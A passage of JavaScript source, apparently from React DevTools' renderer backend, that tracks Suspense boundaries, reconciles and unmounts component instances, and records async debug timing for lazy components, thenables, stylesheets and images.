suspenseNode = fiberInstance.suspenseNode;\n    if (suspenseNode !== null) {\n      recordSuspenseUnmount(suspenseNode);\n    }\n\n    idToDevToolsInstanceMap.delete(fiberInstance.id);\n\n    untrackFiber(fiberInstance, fiberInstance.data);\n  }\n\n  function recordDisconnect(fiberInstance: FiberInstance): void {\n    if (isInDisconnectedSubtree) {\n      // Already disconnected.\n      return;\n    }\n\n    if (trackedPathMatchInstance === fiberInstance) {\n      // We're in the process of trying to restore previous selection.\n      // If this fiber matched but is being hidden, there's no use trying.\n      // Reset the state so we don't keep holding onto it.\n      setTrackedPath(null);\n    }\n\n    const id = fiberInstance.id;\n    pendingRealUnmountedIDs.push(id);\n  }\n\n  function recordSuspenseResize(suspenseNode: SuspenseNode): void {\n    if (__DEBUG__) {\n      console.log('recordSuspenseResize()', suspenseNode);\n    }\n    const fiberInstance = suspenseNode.instance;\n    if (fiberInstance.kind !== FIBER_INSTANCE) {\n      // TODO: Resizes of filtered Suspense nodes are currently dropped.\n      return;\n    }\n\n    pushOperation(SUSPENSE_TREE_OPERATION_RESIZE);\n    pushOperation(fiberInstance.id);\n    const rects = suspenseNode.rects;\n    if (rects === null) {\n      pushOperation(-1);\n    } else {\n      pushOperation(rects.length);\n      for (let i = 0; i < rects.length; ++i) {\n        const rect = rects[i];\n        pushOperation(Math.round(rect.x * 1000));\n        pushOperation(Math.round(rect.y * 1000));\n        pushOperation(Math.round(rect.width * 1000));\n        pushOperation(Math.round(rect.height * 1000));\n      }\n    }\n  }\n\n  function recordSuspenseSuspenders(suspenseNode: SuspenseNode): void {\n    if (__DEBUG__) {\n      console.log('recordSuspenseSuspenders()', suspenseNode);\n    }\n    const fiberInstance = suspenseNode.instance;\n    if (fiberInstance.kind !== FIBER_INSTANCE) {\n      // TODO: Suspender updates of filtered Suspense nodes are currently dropped.\n      return;\n    }\n\n    // TODO: Just enqueue the operations here instead of stashing by id.\n\n    // Ensure each environment gets recorded in the string table since it is emitted\n    // before we loop it over again later during flush.\n    suspenseNode.environments.forEach((count, env) => {\n      getStringID(env);\n    });\n    pendingSuspenderChanges.add(fiberInstance.id);\n  }\n\n  function recordSuspenseUnmount(suspenseInstance: SuspenseNode): void {\n    if (__DEBUG__) {\n      console.log(\n        'recordSuspenseUnmount()',\n        suspenseInstance,\n        reconcilingParentSuspenseNode,\n      );\n    }\n\n    const devtoolsInstance = suspenseInstance.instance;\n    if (devtoolsInstance.kind !== FIBER_INSTANCE) {\n      throw new Error(\"Can't unmount a filtered SuspenseNode. This is a bug.\");\n    }\n    const fiberInstance = devtoolsInstance;\n    const id = fiberInstance.id;\n\n    // To maintain child-first ordering,\n    // we'll push it into one of these queues,\n    // and later arrange them in the correct order.\n    pendingRealUnmountedSuspenseIDs.push(id);\n\n    pendingSuspenderChanges.delete(id);\n    idToSuspenseNodeMap.delete(id);\n  }\n\n  // Running state of the remaining children from the previous version of this parent that\n  // we haven't yet added back. This should be reset anytime we change parent.\n  // Any remaining ones at the end will be deleted.\n  let remainingReconcilingChildren: null | DevToolsInstance = null;\n  // The previously placed child.\n  let previouslyReconciledSibling: null | DevToolsInstance = null;\n  // To save on stack allocation and ensure that they are updated as a pair, we also store\n  // the current parent here as well.\n  let reconcilingParent: null | DevToolsInstance = null;\n\n  let remainingReconcilingChildrenSuspenseNodes: null | SuspenseNode = null;\n  // The previously placed child.\n  let previouslyReconciledSiblingSuspenseNode: null | SuspenseNode = null;\n  // To save on stack allocation and ensure that they are updated as a pair, we also store\n  // the current parent here as well.\n  let reconcilingParentSuspenseNode: null | SuspenseNode = null;\n\n  function insertSuspendedBy(asyncInfo: ReactAsyncInfo): void {\n    if (reconcilingParent === null || reconcilingParentSuspenseNode === null) {\n      throw new Error(\n        'It should not be possible to have suspended data outside the root. ' +\n          'Even suspending at the first position is still a child of the root.',\n      );\n    }\n    const parentSuspenseNode = reconcilingParentSuspenseNode;\n    // Use the nearest unfiltered parent so that there's always some component that has\n    // the entry on it even if you filter, or the root if all are filtered.\n    let parentInstance = reconcilingParent;\n    while (\n      parentInstance.kind === FILTERED_FIBER_INSTANCE &&\n      parentInstance.parent !== null &&\n      // We can't move past the parent Suspense node.\n      // The Suspense node holding async info must be a parent of the devtools instance (or the instance itself)\n      parentInstance !== parentSuspenseNode.instance\n    ) {\n      parentInstance = parentInstance.parent;\n    }\n    if (parentInstance.kind === FIBER_INSTANCE) {\n      const fiber = parentInstance.data;\n\n      if (\n        fiber.tag === SuspenseComponent &&\n        parentInstance !== parentSuspenseNode.instance\n      ) {\n        // We're about to attach async info to a Suspense boundary we're not\n        // actually considering the parent Suspense boundary for this async info.\n        // We must have not found a suitable Fiber inside the fallback (e.g. due to filtering).\n        // Use the parent of this instance instead since we treat async info\n        // attached to a Suspense boundary as that async info triggering the\n        // fallback of that boundary.\n        const parent = parentInstance.parent;\n        if (parent === null) {\n          // This shouldn't happen. Any <Suspense> would have at least have the\n          // host root as the parent which can't have a fallback.\n          throw new Error(\n            'Did not find a suitable instance for this async info. This is a bug in React.',\n          );\n        }\n        parentInstance = parent;\n      }\n    }\n\n    const suspenseNodeSuspendedBy = parentSuspenseNode.suspendedBy;\n    const ioInfo = asyncInfo.awaited;\n    let suspendedBySet = suspenseNodeSuspendedBy.get(ioInfo);\n    if (suspendedBySet === undefined) {\n      suspendedBySet = new Set();\n      suspenseNodeSuspendedBy.set(ioInfo, suspendedBySet);\n      // We've added a dependency. We must increment the ref count of the environment.\n      const env = ioInfo.env;\n      if (env != null) {\n        const environmentCounts = parentSuspenseNode.environments;\n        const count = environmentCounts.get(env);\n        if (count === undefined || count === 0) {\n          environmentCounts.set(env, 1);\n          // We've discovered a new environment for this SuspenseNode. We'll to update the node.\n          recordSuspenseSuspenders(parentSuspenseNode);\n        } else {\n          environmentCounts.set(env, count + 1);\n        }\n      }\n    }\n    // The child of the Suspense boundary that was suspended on this, or null if suspended at the root.\n    // This is used to keep track of how many dependents are still alive and also to get information\n    // like owner instances to link down into the tree.\n    if (!suspendedBySet.has(parentInstance)) {\n      suspendedBySet.add(parentInstance);\n      const virtualEndTime = getVirtualEndTime(ioInfo);\n      if (\n        !parentSuspenseNode.hasUniqueSuspenders &&\n        !ioExistsInSuspenseAncestor(parentSuspenseNode, ioInfo)\n      ) {\n        // This didn't exist in the parent before, so let's mark this boundary as having a unique suspender.\n        parentSuspenseNode.hasUniqueSuspenders = true;\n        if (parentSuspenseNode.endTime < virtualEndTime) {\n          parentSuspenseNode.endTime = virtualEndTime;\n        }\n        recordSuspenseSuspenders(parentSuspenseNode);\n      } else if (parentSuspenseNode.endTime < virtualEndTime) {\n        parentSuspenseNode.endTime = virtualEndTime;\n        recordSuspenseSuspenders(parentSuspenseNode);\n      }\n    }\n    // We have observed at least one known reason this might have been suspended.\n    parentSuspenseNode.hasUnknownSuspenders = false;\n    // Suspending right below the root is not attributed to any particular component in UI\n    // other than the SuspenseNode and the HostRoot's FiberInstance.\n    const suspendedBy = parentInstance.suspendedBy;\n    if (suspendedBy === null) {\n      parentInstance.suspendedBy = [asyncInfo];\n    } else if (suspendedBy.indexOf(asyncInfo) === -1) {\n      suspendedBy.push(asyncInfo);\n    }\n  }\n\n  function unblockSuspendedBy(\n    parentSuspenseNode: SuspenseNode,\n    ioInfo: ReactIOInfo,\n  ): void {\n    const firstChild = parentSuspenseNode.firstChild;\n    if (firstChild === null) {\n      return;\n    }\n    let node: SuspenseNode = firstChild;\n    while (node !== null) {\n      if (node.suspendedBy.has(ioInfo)) {\n        // We have found a child boundary that depended on the unblocked I/O.\n        // It can now be marked as having unique suspenders. We can skip its children\n        // since they'll still be blocked by this one.\n        if (!node.hasUniqueSuspenders) {\n          recordSuspenseSuspenders(node);\n        }\n        node.hasUniqueSuspenders = true;\n        node.hasUnknownSuspenders = false;\n      } else if (node.firstChild !== null) {\n        node = node.firstChild;\n        continue;\n      }\n      while (node.nextSibling === null) {\n        if (node.parent === null || node.parent === parentSuspenseNode) {\n          return;\n        }\n        node = node.parent;\n      }\n      node = node.nextSibling;\n    }\n  }\n\n  function computeEndTime(suspenseNode: SuspenseNode) {\n    let maxEndTime = 0;\n    suspenseNode.suspendedBy.forEach((set, ioInfo) => {\n      const virtualEndTime = getVirtualEndTime(ioInfo);\n      if (virtualEndTime > maxEndTime) {\n        maxEndTime = virtualEndTime;\n      }\n    });\n    return maxEndTime;\n  }\n\n  function removePreviousSuspendedBy(\n    instance: DevToolsInstance,\n    previousSuspendedBy: null | Array<ReactAsyncInfo>,\n    parentSuspenseNode: null | SuspenseNode,\n  ): void {\n    // Remove any async info if they were in the previous set but\n    // is no longer in the new set.\n    // If we just reconciled a SuspenseNode, we need to remove from that node instead of the parent.\n    // This is different from inserting because inserting is done during reconiliation\n    // whereas removal is done after we're done reconciling.\n    const suspenseNode =\n      instance.suspenseNode === null\n        ? parentSuspenseNode\n        : instance.suspenseNode;\n    if (previousSuspendedBy !== null && suspenseNode !== null) {\n      const nextSuspendedBy = instance.suspendedBy;\n      let changedEnvironment = false;\n      let mayHaveChangedEndTime = false;\n      for (let i = 0; i < previousSuspendedBy.length; i++) {\n        const asyncInfo = previousSuspendedBy[i];\n        if (\n          nextSuspendedBy === null ||\n          (nextSuspendedBy.indexOf(asyncInfo) === -1 &&\n            getAwaitInSuspendedByFromIO(nextSuspendedBy, asyncInfo.awaited) ===\n              null)\n        ) {\n          // This IO entry is no longer blocking the current tree.\n          // Let's remove it from the parent SuspenseNode.\n          const ioInfo = asyncInfo.awaited;\n          const suspendedBySet = suspenseNode.suspendedBy.get(ioInfo);\n\n          if (suspenseNode.endTime === getVirtualEndTime(ioInfo)) {\n            // This may be the only remaining entry at this end time. Recompute the end time.\n            mayHaveChangedEndTime = true;\n          }\n\n          if (\n            suspendedBySet === undefined ||\n            !suspendedBySet.delete(instance)\n          ) {\n            // A boundary can await the same IO multiple times.\n            // We still want to error if we're trying to remove IO that isn't present on\n            // this boundary so we need to check if we've already removed it.\n            // We're assuming previousSuspendedBy is a small array so this should be faster\n            // than allocating and maintaining a Set.\n            let alreadyRemovedIO = false;\n            for (let j = 0; j < i; j++) {\n              const removedIOInfo = previousSuspendedBy[j].awaited;\n              if (removedIOInfo === ioInfo) {\n                alreadyRemovedIO = true;\n                break;\n              }\n            }\n            if (!alreadyRemovedIO) {\n              throw new Error(\n                'We are cleaning up async info that was not on the parent Suspense boundary. ' +\n                  'This is a bug in React.',\n              );\n            }\n          }\n          if (suspendedBySet !== undefined && suspendedBySet.size === 0) {\n            suspenseNode.suspendedBy.delete(ioInfo);\n            // Successfully removed all dependencies. We can decrement the ref count of the environment.\n            const env = ioInfo.env;\n            if (env != null) {\n              const environmentCounts = suspenseNode.environments;\n              const count = environmentCounts.get(env);\n              if (count === undefined || count === 0) {\n                throw new Error(\n                  'We are removing an environment but it was not in the set. ' +\n                    'This is a bug in React.',\n                );\n              }\n              if (count === 1) {\n                environmentCounts.delete(env);\n                // Last one. We've now change the set of environments. We'll need to update the node.\n                changedEnvironment = true;\n              } else {\n                environmentCounts.set(env, count - 1);\n              }\n            }\n\n            if (\n              suspenseNode.hasUniqueSuspenders &&\n              !ioExistsInSuspenseAncestor(suspenseNode, ioInfo)\n            ) {\n              // This entry wasn't in any ancestor and is no longer in this suspense boundary.\n              // This means that a child might now be the unique suspender for this IO.\n              // Search the child boundaries to see if we can reveal any of them.\n              unblockSuspendedBy(suspenseNode, ioInfo);\n            }\n          }\n        }\n      }\n      const newEndTime = mayHaveChangedEndTime\n        ? computeEndTime(suspenseNode)\n        : suspenseNode.endTime;\n      if (changedEnvironment || newEndTime !== suspenseNode.endTime) {\n        suspenseNode.endTime = newEndTime;\n        recordSuspenseSuspenders(suspenseNode);\n      }\n    }\n  }\n\n  function insertChild(instance: DevToolsInstance): void {\n    const parentInstance = reconcilingParent;\n    if (parentInstance === null) {\n      // This instance is at the root.\n      return;\n    }\n    // Place it in the parent.\n    instance.parent = parentInstance;\n    if (previouslyReconciledSibling === null) {\n      previouslyReconciledSibling = instance;\n      parentInstance.firstChild = instance;\n    } else {\n      previouslyReconciledSibling.nextSibling = instance;\n      previouslyReconciledSibling = instance;\n    }\n    instance.nextSibling = null;\n    // Insert any SuspenseNode into its parent Node.\n    const suspenseNode = instance.suspenseNode;\n    if (suspenseNode !== null) {\n      const parentNode = reconcilingParentSuspenseNode;\n      if (parentNode !== null) {\n        suspenseNode.parent = parentNode;\n        if (previouslyReconciledSiblingSuspenseNode === null) {\n          previouslyReconciledSiblingSuspenseNode = suspenseNode;\n          parentNode.firstChild = suspenseNode;\n        } else {\n          previouslyReconciledSiblingSuspenseNode.nextSibling = suspenseNode;\n          previouslyReconciledSiblingSuspenseNode = suspenseNode;\n        }\n        suspenseNode.nextSibling = null;\n      }\n    }\n  }\n\n  function moveChild(\n    instance: DevToolsInstance,\n    previousSibling: null | DevToolsInstance,\n  ): void {\n    removeChild(instance, previousSibling);\n    insertChild(instance);\n  }\n\n  function removeChild(\n    instance: DevToolsInstance,\n    previousSibling: null | DevToolsInstance,\n  ): void {\n    if (instance.parent === null) {\n      if (remainingReconcilingChildren === instance) {\n        throw new Error(\n          'Remaining children should not have items with no parent',\n        );\n      } else if (instance.nextSibling !== null) {\n        throw new Error('A deleted instance should not have next siblings');\n      }\n      // Already deleted.\n      return;\n    }\n    const parentInstance = reconcilingParent;\n    if (parentInstance === null) {\n      throw new Error('Should not have a parent if we are at the root');\n    }\n    if (instance.parent !== parentInstance) {\n      throw new Error(\n        'Cannot remove a node from a different parent than is being reconciled.',\n      );\n    }\n    // Remove an existing child from its current position, which we assume is in the\n    // remainingReconcilingChildren set.\n    if (previousSibling === null) {\n      // We're first in the remaining set. Remove us.\n      if (remainingReconcilingChildren !== instance) {\n        throw new Error(\n          'Expected a placed child to be moved from the remaining set.',\n        );\n      }\n      remainingReconcilingChildren = instance.nextSibling;\n    } else {\n      previousSibling.nextSibling = instance.nextSibling;\n    }\n    instance.nextSibling = null;\n    instance.parent = null;\n\n    // Remove any SuspenseNode from its parent.\n    const suspenseNode = instance.suspenseNode;\n    if (suspenseNode !== null && suspenseNode.parent !== null) {\n      const parentNode = reconcilingParentSuspenseNode;\n      if (parentNode === null) {\n        throw new Error('Should not have a parent if we are at the root');\n      }\n      if (suspenseNode.parent !== parentNode) {\n        throw new Error(\n          'Cannot remove a Suspense node from a different parent than is being reconciled.',\n        );\n      }\n      let previousSuspenseSibling = remainingReconcilingChildrenSuspenseNodes;\n      if (previousSuspenseSibling === suspenseNode) {\n        // We're first in the remaining set. Remove us.\n        remainingReconcilingChildrenSuspenseNodes = suspenseNode.nextSibling;\n      } else {\n        // Search for our previous sibling and remove us.\n        while (previousSuspenseSibling !== null) {\n          if (previousSuspenseSibling.nextSibling === suspenseNode) {\n            previousSuspenseSibling.nextSibling = suspenseNode.nextSibling;\n            break;\n          }\n          previousSuspenseSibling = previousSuspenseSibling.nextSibling;\n        }\n      }\n      suspenseNode.nextSibling = null;\n      suspenseNode.parent = null;\n    }\n  }\n\n  function isHiddenOffscreen(fiber: Fiber): boolean {\n    switch (fiber.tag) {\n      case LegacyHiddenComponent:\n      // fallthrough since all published implementations currently implement the same state as Offscreen.\n      case OffscreenComponent:\n        return fiber.memoizedState !== null;\n      default:\n        return false;\n    }\n  }\n\n  // Returns true if this is a hidden OffscreenComponent that belongs to\n  // an Activity boundary (as opposed to Suspense). Activity's children\n  // should remain visible in the DevTools tree even when hidden.\n  function isActivityHiddenOffscreen(fiber: Fiber): boolean {\n    return (\n      isHiddenOffscreen(fiber) &&\n      fiber.return !== null &&\n      fiber.return.tag === ActivityComponent\n    );\n  }\n\n  /**\n   * Offscreen of suspended Suspense\n   */\n  function isSuspendedOffscreen(fiber: Fiber): boolean {\n    switch (fiber.tag) {\n      case LegacyHiddenComponent:\n      // fallthrough since all published implementations currently implement the same state as Offscreen.\n      case OffscreenComponent:\n        return (\n          fiber.memoizedState !== null &&\n          fiber.return !== null &&\n          fiber.return.tag === SuspenseComponent\n        );\n      default:\n        return false;\n    }\n  }\n\n  function unmountRemainingChildren() {\n    if (\n      reconcilingParent !== null &&\n      (reconcilingParent.kind === FIBER_INSTANCE ||\n        reconcilingParent.kind === FILTERED_FIBER_INSTANCE) &&\n      isSuspendedOffscreen(reconcilingParent.data) &&\n      !isInDisconnectedSubtree\n    ) {\n      // This is a hidden offscreen, we need to execute this in the context of a disconnected subtree.\n      isInDisconnectedSubtree = true;\n      try {\n        let child = remainingReconcilingChildren;\n        while (child !== null) {\n          unmountInstanceRecursively(child);\n          child = remainingReconcilingChildren;\n        }\n      } finally {\n        isInDisconnectedSubtree = false;\n      }\n    } else {\n      let child = remainingReconcilingChildren;\n      while (child !== null) {\n        unmountInstanceRecursively(child);\n        child = remainingReconcilingChildren;\n      }\n    }\n  }\n\n  function unmountSuspenseChildrenRecursively(\n    contentInstance: DevToolsInstance,\n    stashedSuspenseParent: null | SuspenseNode,\n    stashedSuspensePrevious: null | SuspenseNode,\n    stashedSuspenseRemaining: null | SuspenseNode,\n  ): void {\n    // First unmount only the Offscreen boundary. I.e. the main content.\n    unmountInstanceRecursively(contentInstance);\n\n    // Next, we'll pop back out of the SuspenseNode that we added above and now we'll\n    // unmount the fallback, unmounting anything in the context of the parent SuspenseNode.\n    // Since the fallback conceptually blocks the parent.\n    reconcilingParentSuspenseNode = stashedSuspenseParent;\n    previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;\n    remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;\n    unmountRemainingChildren();\n  }\n\n  function isChildOf(\n    parentInstance: DevToolsInstance,\n    childInstance: DevToolsInstance,\n    grandParent: DevToolsInstance,\n  ): boolean {\n    let instance = childInstance.parent;\n    while (instance !== null) {\n      if (parentInstance === instance) {\n        return true;\n      }\n      if (instance === parentInstance.parent || instance === grandParent) {\n        // This was a sibling but not inside the FiberInstance. We can bail out.\n        break;\n      }\n      instance = instance.parent;\n    }\n    return false;\n  }\n\n  function measureUnchangedSuspenseNodesRecursively(\n    suspenseNode: SuspenseNode,\n  ): void {\n    if (isInDisconnectedSubtree) {\n      // We don't update rects inside disconnected subtrees.\n      return;\n    }\n    const instance = suspenseNode.instance;\n\n    const isSuspendedSuspenseComponent =\n      (instance.kind === FIBER_INSTANCE ||\n        instance.kind === FILTERED_FIBER_INSTANCE) &&\n      instance.data.tag === SuspenseComponent &&\n      instance.data.memoizedState !== null;\n    if (isSuspendedSuspenseComponent) {\n      // This boundary itself was suspended and we don't measure those since that would measure\n      // the fallback. We want to keep a ghost of the rectangle of the content not currently shown.\n      return;\n    }\n\n    // While this boundary wasn't suspended and the bailed out root and wasn't in a disconnected subtree,\n    // it's possible that this node was in one. So we need to check if we're offscreen.\n    let parent = instance.parent;\n    while (parent !== null) {\n      if (\n        (parent.kind === FIBER_INSTANCE ||\n          parent.kind === FILTERED_FIBER_INSTANCE) &&\n        isHiddenOffscreen(parent.data)\n      ) {\n        // We're inside a hidden offscreen Fiber. We're in a disconnected tree.\n        return;\n      }\n      if (parent.suspenseNode !== null) {\n        // Found our parent SuspenseNode. We can bail out now.\n        break;\n      }\n      parent = parent.parent;\n    }\n\n    const nextRects = measureInstance(suspenseNode.instance);\n    const prevRects = suspenseNode.rects;\n    if (areEqualRects(prevRects, nextRects)) {\n      return; // Unchanged\n    }\n\n    // We changed inside a visible tree.\n    // Since this boundary changed, it's possible it also affected its children so lets\n    // measure them as well.\n    for (\n      let child = suspenseNode.firstChild;\n      child !== null;\n      child = child.nextSibling\n    ) {\n      measureUnchangedSuspenseNodesRecursively(child);\n    }\n    suspenseNode.rects = nextRects;\n    recordSuspenseResize(suspenseNode);\n  }\n\n  function consumeSuspenseNodesOfExistingInstance(\n    instance: DevToolsInstance,\n  ): void {\n    // We need to also consume any unchanged Suspense boundaries.\n    let suspenseNode = remainingReconcilingChildrenSuspenseNodes;\n    if (suspenseNode === null) {\n      return;\n    }\n    const parentSuspenseNode = reconcilingParentSuspenseNode;\n    if (parentSuspenseNode === null) {\n      throw new Error(\n        'The should not be any remaining suspense node children if there is no parent.',\n      );\n    }\n    let foundOne = false;\n    let previousSkippedSibling = null;\n    while (suspenseNode !== null) {\n      // Check if this SuspenseNode was a child of the bailed out FiberInstance.\n      if (\n        isChildOf(instance, suspenseNode.instance, parentSuspenseNode.instance)\n      ) {\n        foundOne = true;\n        // The suspenseNode was child of the bailed out Fiber.\n        // First, remove it from the remaining children set.\n        const nextRemainingSibling = suspenseNode.nextSibling;\n        if (previousSkippedSibling === null) {\n          remainingReconcilingChildrenSuspenseNodes = nextRemainingSibling;\n        } else {\n          previousSkippedSibling.nextSibling = nextRemainingSibling;\n        }\n        suspenseNode.nextSibling = null;\n        // Then, re-insert it into the newly reconciled set.\n        if (previouslyReconciledSiblingSuspenseNode === null) {\n          parentSuspenseNode.firstChild = suspenseNode;\n        } else {\n          previouslyReconciledSiblingSuspenseNode.nextSibling = suspenseNode;\n        }\n        previouslyReconciledSiblingSuspenseNode = suspenseNode;\n        // While React didn't rerender this node, it's possible that it was affected by\n        // layout due to mutation of a parent or sibling. Check if it changed size.\n        measureUnchangedSuspenseNodesRecursively(suspenseNode);\n        // Continue\n        suspenseNode = nextRemainingSibling;\n      } else if (foundOne) {\n        // If we found one and then hit a miss, we assume that we're passed the sequence because\n        // they should've all been consecutive.\n        break;\n      } else {\n        previousSkippedSibling = suspenseNode;\n        suspenseNode = suspenseNode.nextSibling;\n      }\n    }\n  }\n\n  function mountVirtualInstanceRecursively(\n    virtualInstance: VirtualInstance,\n    firstChild: Fiber,\n    lastChild: null | Fiber, // non-inclusive\n    traceNearestHostComponentUpdate: boolean,\n    virtualLevel: number, // the nth level of virtual instances\n  ): void {\n    // If we have the tree selection from previous reload, try to match this Instance.\n    // Also remember whether to do the same for siblings.\n    const mightSiblingsBeOnTrackedPath =\n      updateVirtualTrackedPathStateBeforeMount(\n        virtualInstance,\n        reconcilingParent,\n      );\n\n    const stashedParent = reconcilingParent;\n    const stashedPrevious = previouslyReconciledSibling;\n    const stashedRemaining = remainingReconcilingChildren;\n    // Push a new DevTools instance parent while reconciling this subtree.\n    reconcilingParent = virtualInstance;\n    previouslyReconciledSibling = null;\n    remainingReconcilingChildren = null;\n    try {\n      mountVirtualChildrenRecursively(\n        firstChild,\n        lastChild,\n        traceNearestHostComponentUpdate,\n        virtualLevel + 1,\n      );\n      // Must be called after all children have been appended.\n      recordVirtualProfilingDurations(virtualInstance);\n    } finally {\n      reconcilingParent = stashedParent;\n      previouslyReconciledSibling = stashedPrevious;\n      remainingReconcilingChildren = stashedRemaining;\n      updateTrackedPathStateAfterMount(mightSiblingsBeOnTrackedPath);\n    }\n  }\n\n  function recordVirtualUnmount(instance: VirtualInstance) {\n    recordVirtualDisconnect(instance);\n    idToDevToolsInstanceMap.delete(instance.id);\n  }\n\n  function recordVirtualDisconnect(instance: VirtualInstance) {\n    if (isInDisconnectedSubtree) {\n      return;\n    }\n    if (trackedPathMatchInstance === instance) {\n      // We're in the process of trying to restore previous selection.\n      // If this fiber matched but is being unmounted, there's no use trying.\n      // Reset the state so we don't keep holding onto it.\n      setTrackedPath(null);\n    }\n\n    const id = instance.id;\n    pendingRealUnmountedIDs.push(id);\n  }\n\n  function trackDebugInfoFromLazyType(fiber: Fiber): void {\n    // The debugInfo from a Lazy isn't propagated onto _debugInfo of the parent Fiber the way\n    // it is when used in child position. So we need to pick it up explicitly.\n    const type = fiber.elementType;\n    const typeSymbol = getTypeSymbol(type); // The elementType might be have been a LazyComponent.\n    if (typeSymbol === LAZY_SYMBOL_STRING) {\n      const debugInfo: ?ReactDebugInfo = type._debugInfo;\n      if (debugInfo) {\n        for (let i = 0; i < debugInfo.length; i++) {\n          const debugEntry = debugInfo[i];\n          if (debugEntry.awaited) {\n            const asyncInfo: ReactAsyncInfo = (debugEntry: any);\n            insertSuspendedBy(asyncInfo);\n          }\n        }\n      }\n    }\n  }\n\n  function trackDebugInfoFromUsedThenables(fiber: Fiber): void {\n    // If a Fiber called use() in DEV mode then we may have collected _debugThenableState on\n    // the dependencies. If so, then this will contain the thenables passed to use().\n    // These won't have their debug info picked up by fiber._debugInfo since that just\n    // contains things suspending the children. We have to collect use() separately.\n    const dependencies = fiber.dependencies;\n    if (dependencies == null) {\n      return;\n    }\n    const thenableState = dependencies._debugThenableState;\n    if (thenableState == null) {\n      return;\n    }\n    // In DEV the thenableState is an inner object.\n    const usedThenables: any = thenableState.thenables || thenableState;\n    if (!Array.isArray(usedThenables)) {\n      return;\n    }\n    for (let i = 0; i < usedThenables.length; i++) {\n      const thenable: Thenable<mixed> = usedThenables[i];\n      const debugInfo = thenable._debugInfo;\n      if (debugInfo) {\n        for (let j = 0; j < debugInfo.length; j++) {\n          const debugEntry = debugInfo[j];\n          if (debugEntry.awaited) {\n            const asyncInfo: ReactAsyncInfo = (debugEntry: any);\n            insertSuspendedBy(asyncInfo);\n          }\n        }\n      }\n    }\n  }\n\n  const hostAsyncInfoCache: WeakMap<{...}, ReactAsyncInfo> = new WeakMap();\n\n  function trackDebugInfoFromHostResource(\n    devtoolsInstance: DevToolsInstance,\n    fiber: Fiber,\n  ): void {\n    const resource: ?{\n      type: 'stylesheet' | 'style' | 'script' | 'void',\n      instance?: null | HostInstance,\n      ...\n    } = fiber.memoizedState;\n    if (resource == null) {\n      return;\n    }\n\n    // Use a cached entry based on the resource. This ensures that if we use the same\n    // resource in multiple places, it gets deduped and inner boundaries don't consider it\n    // as contributing to those boundaries.\n    const existingEntry = hostAsyncInfoCache.get(resource);\n    if (existingEntry !== undefined) {\n      insertSuspendedBy(existingEntry);\n      return;\n    }\n\n    const props: {\n      href?: string,\n      media?: string,\n      ...\n    } = fiber.memoizedProps;\n\n    // Stylesheet resources may suspend. We need to track that.\n    const mayResourceSuspendCommit =\n      resource.type === 'stylesheet' &&\n      // If it doesn't match the currently debugged media, then it doesn't count.\n      (typeof props.media !== 'string' ||\n        typeof matchMedia !== 'function' ||\n        matchMedia(props.media));\n    if (!mayResourceSuspendCommit) {\n      return;\n    }\n\n    const instance = resource.instance;\n    if (instance == null) {\n      return;\n    }\n\n    // Unlike props.href, this href will be fully qualified which we need for comparison below.\n    const href = instance.href;\n    if (typeof href !== 'string') {\n      return;\n    }\n    let start = -1;\n    let end = -1;\n    let byteSize = 0;\n    // $FlowFixMe[method-unbinding]\n    if (typeof performance.getEntriesByType === 'function') {\n      // We may be able to collect the start and end time of this resource from Performance Observer.\n      const resourceEntries = performance.getEntriesByType('resource');\n      for (let i = 0; i < resourceEntries.length; i++) {\n        const resourceEntry = resourceEntries[i];\n        if (resourceEntry.name === href) {\n          start = resourceEntry.startTime;\n          end = start + resourceEntry.duration;\n          // $FlowFixMe[prop-missing]\n          byteSize = (resourceEntry.transferSize: any) || 0;\n        }\n      }\n    }\n    const value = instance.sheet;\n    const promise = Promise.resolve(value);\n    (promise: any).status = 'fulfilled';\n    (promise: any).value = value;\n    const ioInfo: ReactIOInfo = {\n      name: 'stylesheet',\n      start,\n      end,\n      value: promise,\n      // $FlowFixMe: This field doesn't usually take a Fiber but we're only using inside this file.\n      owner: fiber, // Allow linking to the <link> if it's not filtered.\n    };\n    if (byteSize > 0) {\n      // $FlowFixMe[cannot-write]\n      ioInfo.byteSize = byteSize;\n    }\n    const asyncInfo: ReactAsyncInfo = {\n      awaited: ioInfo,\n      // $FlowFixMe: This field doesn't usually take a Fiber but we're only using inside this file.\n      owner: fiber._debugOwner == null ? null : fiber._debugOwner,\n      debugStack: fiber._debugStack == null ? null : fiber._debugStack,\n      debugTask: fiber._debugTask == null ? null : fiber._debugTask,\n    };\n    hostAsyncInfoCache.set(resource, asyncInfo);\n    insertSuspendedBy(asyncInfo);\n  }\n\n  function trackDebugInfoFromHostComponent(\n    devtoolsInstance: DevToolsInstance,\n    fiber: Fiber,\n  ): void {\n    if (fiber.tag !== HostComponent) {\n      return;\n    }\n    if ((fiber.mode & SuspenseyImagesMode) === 0) {\n      // In any released version, Suspensey Images are only enabled inside a ViewTransition\n      // subtree, which is enabled by the SuspenseyImagesMode.\n      // TODO: If we ever enable the enableSuspenseyImages flag then it would be enabled for\n      // all images and we'd need some other check for if the version of React has that enabled.\n      return;\n    }\n\n    const type = fiber.type;\n    const props: {\n      src?: string,\n      onLoad?: (event: any) => void,\n      loading?: 'eager' | 'lazy',\n      ...\n    } = fiber.memoizedProps;\n\n    const maySuspendCommit =\n      type === 'img' &&\n      props.src != null &&\n      props.src !== '' &&\n      props.onLoad == null &&\n      props.loading !== 'lazy';\n\n    // Note: We don't track \"maySuspendCommitOnUpdate\" separately because it doesn't matter if\n    // it didn't suspend this particular update if it would've suspended if it mounted in this\n    // state, since we're tracking the dependencies inside the current state.\n\n    if (!maySuspendCommit) {\n      return;\n    }\n\n    const instance = fiber.stateNode;\n    if (instance == null) {\n      // Should never happen.\n      return;\n    }\n\n    // Unlike props.src, currentSrc will be fully qualified which we need for comparison below.\n    // Unlike instance.src it will be resolved into the media queries currently matching which is\n    // the state we're inspecting.\n    const src = instance.currentSrc;\n    if (typeof src !== 'string' || src === '') {\n      return;\n    }\n    let start = -1;\n    let end = -1;\n    let byteSize = 0;\n    let fileSize = 0;\n    // $FlowFixMe[method-unbinding]\n    if (typeof performance.getEntriesByType === 'function') {\n      // We may be able to collect the start and end time of this resource from Performance Observer.\n      const resourceEntries = performance.getEntriesByType('resource');\n      for (let i = 0; i < resourceEntries.length; i++) {\n        const resourceEntry = resourceEntries[i];\n        if (resourceEntry.name === src) {\n          start = resourceEntry.startTime;\n          end = start + resourceEntry.duration;\n          // $FlowFixMe[prop-missing]\n          fileSize = (resourceEntry.decodedBodySize: any) || 0;\n          // 